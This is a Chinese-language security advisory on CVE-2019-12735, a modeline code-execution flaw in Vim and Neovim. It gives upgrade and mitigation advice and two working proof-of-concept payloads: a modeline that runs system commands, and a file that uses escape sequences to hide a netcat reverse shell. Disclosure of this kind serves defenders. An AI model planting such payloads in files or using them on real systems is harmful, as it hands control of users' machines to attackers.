Vim和Neovim任意代码执行漏洞安全通告
发布时间 2019-06-06漏洞编号和级别
CVE编号:CVE-2019-12735,危险级别:高危,CVSS分值:8.6
受影响的版本
Neovim < 0.3.6
漏洞概述
Vim是一款功能强大、高度可定制的文本编辑器。由于Vim在代码补全、编译及方便编程等方面非常强大,因此在程序员中被广泛使用,成为类Unix系统用户最喜欢的文本编辑器之一。
文本编辑器Vim/Neovim存在严重漏洞,通过打开特别构造的文本文件,模式行选项未被禁用的话,就可导致Vim/Neovim任意代码执行漏洞。漏洞成因是模式行中仅允许选项子集,如果选项的值包含一个表达式,就可以在沙箱中运行。:source! 命令可绕过沙箱,它可以从既定文件中读取并执行命令,因此可以轻松构建在沙箱外允许运行代码的模式行。
漏洞验证
POC: https://github.com/numirias/security/blob/master/doc/2019-06-04_ace-vim-neovim.md。
测试版本如下:
1、创建poc.txt
:!uname -a&&whoami||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
2、确保未禁用modeline选项(:set modeline)
使用如下命令查看命令位置
如下:
3、在vim中打开该txt
然后系统会执行 uname -a&&whoami
第二种,创建反弹shell
此外,当使用cat打印内容时,PoC使用终端转义序列来隐藏命令行。(而使用cat -v可以显示实际内容。)
\x1b[?7l\x1bSNothing here.\x1b:silent! w | call system(\'nohup nc 127.0.0.1 9999 -e /bin/sh &\') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails(\'set\\ fde=x\\ \\|\\ source\\!\\ \\%\') fdl=0: \x16\x1b[1G\x16\x1b[KNothing here."\x16\x1b[D \n

修复建议
升级到Vim 8.1.1365、Neovim 0.3.6或以上版本,此外建议禁用模式行,使用securemodelines插件。
https://github.com/vim/vim/commit/5357552
https://github.com/neovim/neovim/pull/10082
https://github.com/neovim/neovim/releases/tag/v0.3.6
参考链接


京公网安备11010802024551号